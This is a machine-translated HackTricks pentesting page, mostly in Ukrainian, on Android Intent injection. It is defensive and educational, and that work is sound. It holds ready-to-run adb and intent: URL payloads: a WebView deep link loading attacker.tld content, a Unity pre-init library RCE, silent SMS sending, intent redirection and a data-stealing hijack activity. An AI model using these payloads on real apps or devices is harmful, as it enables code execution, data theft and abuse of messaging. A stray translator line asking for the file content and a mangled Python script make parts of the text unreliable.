Intent Injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Intent injection зловживає компонентами, які приймають Intents, контрольовані атакуючим, або даними, що пізніше перетворюються на Intents. Два дуже поширені сценарії під час Android app pentests:
- Передача сконструйованих extras в exported Activities/Services/BroadcastReceivers, які згодом пересилаються до привілейованих, non-exported компонентів.
- Активування exported VIEW/BROWSABLE deep links, які пересилають attacker-controlled URLs у внутрішні WebViews або інші чутливі sinks.
Deep links → WebView sink (URL parameter injection)
Якщо додаток реєструє custom scheme deep link такий як:
myscheme://com.example.app/web?url=<attacker_url>
а якщо Activity, що отримує, пересилає параметр запиту url у WebView, ви можете примусити додаток відобразити довільний віддалений контент у власному контексті WebView.
PoC через adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS виконується всередині профілю WebView додатку.
- Якщо JavaScript увімкнено (за замовчуванням або через неправильний порядок перевірок), можна перерахувати/використати будь-які відкриті
@JavascriptInterfaceоб’єкти, вкрасти WebView cookies/local storage і виконати pivot.
See also:
Order-of-checks bug enabling JavaScript
Повторювана помилка — увімкнення JavaScript (або інших надмірно дозволених налаштувань WebView) до завершення фінальної allowlist/verification для URL. Якщо ранні допоміжні обробники приймають ваш deep link і спочатку налаштовується WebView, остаточне завантаження відбувається з уже ввімкненим JavaScript, навіть якщо пізніші перевірки помилкові або запізнілі.
What to look for in decompiled code:
- Кілька helper’ів, які по-різному parse/split/rebuild URL (неконсистентна normalization).
- Виклики
getSettings().setJavaScriptEnabled(true)перед останньою перевіркою allowlist для host/path. - Пайплайн типу: parse → partial validate → configure WebView → final verify → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Unity-based Android apps typically use com.unity3d.player.UnityPlayerActivity (or UnityPlayerGameActivity) as the entry Activity. Unity’s Android template treats a special Intent extra named unity as a string of command-line flags for the Unity runtime. When the entry Activity is exported (default in many templates), any local app – and sometimes a website if BROWSABLE is present – can supply this extra.
A dangerous, undocumented flag leads to native code execution during very early process initialization:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)very early in init, loading attacker-controlled ELF inside the target app’s process with its UID and permissions.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Чому це працює
- Додатковий параметр Intent
unityрозбирається у флаги runtime Unity. - Передача прапорця pre-init вказує Unity на attacker-controlled ELF path всередині дозволеного linker namespace path (див. обмеження нижче).
Умови для експлуатації
- Вхідна Unity Activity експортується (зазвичай true за замовчуванням).
- Для одно-клікового віддаленого запуску через браузер: вхідна Activity також декларує
android.intent.category.BROWSABLE, щоб extras могли бути передані зintent:URL.
Локальна експлуатація (той самий пристрій)
- Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under
/data/app/.../lib/<abi>/by setting in the attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Запустіть Unity activity жертви з прапорцем CLI pre-init у
unityextra. Приклад ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity викликає
dlopen("/data/.../libpayload.so", RTLD_NOW); ваш payload виконується в процесі жертви, успадковуючи всі дозволи додатку (camera/mic/network/storage, etc.) та доступ до сесій/даних в додатку.
Notes
- The exact
/data/app/...path varies across devices/installs. An attacker app can retrieve its own native lib dir at runtime viagetApplicationInfo().nativeLibraryDirand communicate it to the trigger. - The file need not end with
.soif it is a valid ELF –dlopen()cares about ELF headers, not extensions.
Remote one‑click via browser (conditional)
If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Однак у сучасному Android простори імен динамічного лінкера та SELinux блокують завантаження з багатьох публічних шляхів (наприклад, /sdcard/Download). Ви побачите помилки на кшталт:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Стратегія обходу: націлюйтеся на додатки, які кешують байти, контрольовані атакувальником, у своєму приватному сховищі (наприклад, HTTP caches). Оскільки дозволені шляхи включають /data та приватний каталог додатка, вказування -xrsdk-pre-init-library на абсолютний шлях всередині кешу додатка може задовольнити обмеження linker‑а і призвести до виконання коду. Це повторює попередні cache-to-ELF RCE patterns, зафіксовані в інших Android‑додатках.
Confused‑Deputy: Безшумні SMS/MMS через ACTION_SENDTO (Wear OS Google Messages)
Деякі стандартні додатки для обміну повідомленнями некоректно автоматично виконують неявні intent-ви для повідомлень, перетворюючи їх на примітив confused‑deputy: будь-який непривілейований додаток може викликати Intent.ACTION_SENDTO з sms:, smsto:, mms:, або mmsto: і спричинити негайну відправку без інтерфейсу підтвердження та без дозволу SEND_SMS.
Ключові моменти
- Тригер: неявний
ACTION_SENDTO+ схема URI для повідомлень. - Дані: вкажіть одержувача в URI, текст повідомлення — у додатковому полі “sms_body”.
- Дозволи: відсутні (немає
SEND_SMS), покладається на обробник SMS/MMS за замовчуванням. - Спостерігалося: Google Messages for Wear OS (виправлено у травні 2025). Інші обробники слід оцінити аналогічно.
Мінімальний payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (без спеціальних дозволів)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Розширення поверхні атаки (Wear OS)
- Будь-який компонент, здатний запускати activities, може відправити той самий payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Якщо default handler авто‑відправляє, зловживання може бути однотаповим або цілком безшумним з background-контекстів залежно від політик OEM.
Pentest checklist
- Визначте
ACTION_SENDTOна цілі, щоб ідентифікувати default handler; перевірте, чи показує він compose UI або відправляє безшумно. - Перевірте всі чотири схеми (
sms:,smsto:,mms:,mmsto:) та extras (sms_body, опціональноsubjectдля MMS), щоб виявити відмінності в поведінці. - Враховуйте платні призначення/номери premium‑rate при тестуванні на реальних пристроях.
Інші класичні Intent injection примітиви
- startActivity/sendBroadcast з attacker-supplied
Intentextras, які пізніше повторно парсяться (Intent.parseUri(...)) і виконуються. - Exported proxy components, які пересилають Intents до non-exported чутливих компонентів без перевірки дозволів.
Автоматизація тестування exported-component (Smali-driven ADB generation)
Коли exported components очікують конкретні extras, вгадування форми payload призводить до витрати часу та помилкових негативних результатів. Ви можете автоматизувати виявлення ключів/типів безпосередньо зі Smali та згенерувати готові до виконання adb команди.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Approach: декомпілювати і сканувати Smali на виклики типу
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()щоб визначити, які extras і поля споживаються кожним компонентом. - Output: для кожного exported Activity/Service/Receiver/Provider інструмент виводить коротке пояснення та точну команду
adb shell am .../cmd content ...з правильно типізованими прапорами.
Встановлення
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Використання
python apk-components-inspector.py target.apk
I don’t have the file content. Please paste the markdown/text from src/mobile-pentesting/android-app-pentesting/intent-injection.md you want translated, or confirm you want a short example translation output so I can provide a sample.
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras — шпаргалка (прапори, що враховують тип)
- Рядки:
--es key value| Масив рядків:--esa key v1,v2 - Цілі числа:
--ei key 123| Масив цілих:--eia key 1,2,3 - Булеві:
--ez key true|false - Довгі цілі числа:
--el key 1234567890 - Числа з плаваючою комою:
--ef key 1.23 - URI (extra):
--eu key content://...| Data URI (дані Intent):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Загальні прапори:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Поради для ContentProviders
- Використовуйте
adb shell cmd content query|insert|update|delete ...для взаємодії з ContentProviders без агентів. - Для probing на SQLi варіюйте
--projectionі--where(aka selection), коли підкладний провайдер працює на SQLite.
Повна автоматизація конвеєра (інтерактивний виконавець)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Допоміжний скрипт для розбору та виконання команд adb
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)
</details>
Run on-device: інспектор написаний на Python і працює в Termux або на rooted телефонах, де доступні `apktool`/`androguard`.
---
## Intent Redirection (CWE-926) – finding and exploiting
Шаблон
- Експортована точка входу (Activity/Service/Receiver) читає вхідний Intent і пересилає його внутрішньо або зовнішньо без перевірки джерела/даних, наприклад:
- `startActivity(getIntent())`
- `startActivity(intent)` де `intent` походить із extra, наприклад `redirect_intent`/`next_intent`/`pending_intent` або `Intent.parseUri(...)`.
- Довіра полям `action`/`data`/`component` без перевірок; відсутня перевірка ідентичності викликувача.
Що шукати в Smali/Java
- Використання `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Прямі виклики `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` на Intents, підконтрольних зловмисникові.
- Відсутність перевірок `getCallingPackage()`/`getCallingActivity()` або власних permission-гейтів.
ADB PoC templates
- Proxy Activity, яка пересилає додатковий Intent до привілейованої внутрішньої Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Експортований сервіс, який обробляє parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Exported Receiver, який перенаправляє без перевірки:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Флаги, корисні для поведінки типу singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Реальні приклади (наслідки можуть відрізнятися):
- CVE-2024-26131 (Element Android): exported flows, що призводили до маніпуляцій WebView, PIN bypass та login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ системні наслідки. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → довільний доступ до файлів (з участю користувача).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Модель загрози
- App A очікує чутливий результат від App B, використовуючи implicit Intent (наприклад, OAuth redirect, результат document picker, IMAGE_CAPTURE return або власну callback action).
- Attacker App C публікує exported component з відповідним
<intent-filter>для тих самихaction/category/data. Коли B вирішує implicit Intent, resolver може показати chooser; якщо користувач обирає C (або встановлює його за замовчуванням), payload доставляється атакуючому компоненту замість A.
Мінімальний PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Каркас обробника:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Примітки
- Match specificity matters (action + categories + data). Чим більш специфічний фільтр C щодо вихідного Intent з B, тим вища ймовірність, що він буде показаний або автоматично обраний.
- Це також стосується deep links (
VIEW+BROWSABLE), коли додатки очікують, що інший додаток обробить URL і поверне щось назад.
Pentest guidance
- Grep ціль на предмет викликів
startActivity/startActivityForResult/registerForActivityResult, які використовують non-explicit Intents. - Проаналізуйте Intents, що несуть токени в
extras,clipDataабоgetData(), і перевірте, чи може сторонній додаток зареєструвати сумісний фільтр. - Рекомендуйте замінити implicit flows на explicit Intents (set
setPackage()/setComponent()), або вимагати caller-permission/signed permissions для експортованих receivers/services.
Заходи
- Віддавайте перевагу explicit Intents для чутливих потоків (callbacks, tokens, auth results).
- Якщо потрібна взаємодія між додатками, додайте вимоги по permission до приймаючого компонента та перевіряйте ідентичність викликача.
- Обмежте й звужуйте Intent filters лише до того, що строго необхідно (scheme/host/path/MIME).
Спостереження за рішеннями резолвера (FLAG_DEBUG_LOG_RESOLUTION)
Коли ви контролюєте sender, додайте Intent.FLAG_DEBUG_LOG_RESOLUTION до implicit Intent, щоб Android логував, як відбувається резолюція і який компонент буде обраний.
Приклад:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Що ви побачите в adb logcat — це трасу розв’язання та кінцевий компонент, наприклад com.android.camera2/com.android.camera.CaptureActivity.
CLI-порада
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Це корисно для перерахування кандидатів-обробників на пристрої/емуляторі та точного підтвердження, який компонент отримає Intent під час тестування.
Джерела
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
HackTricks

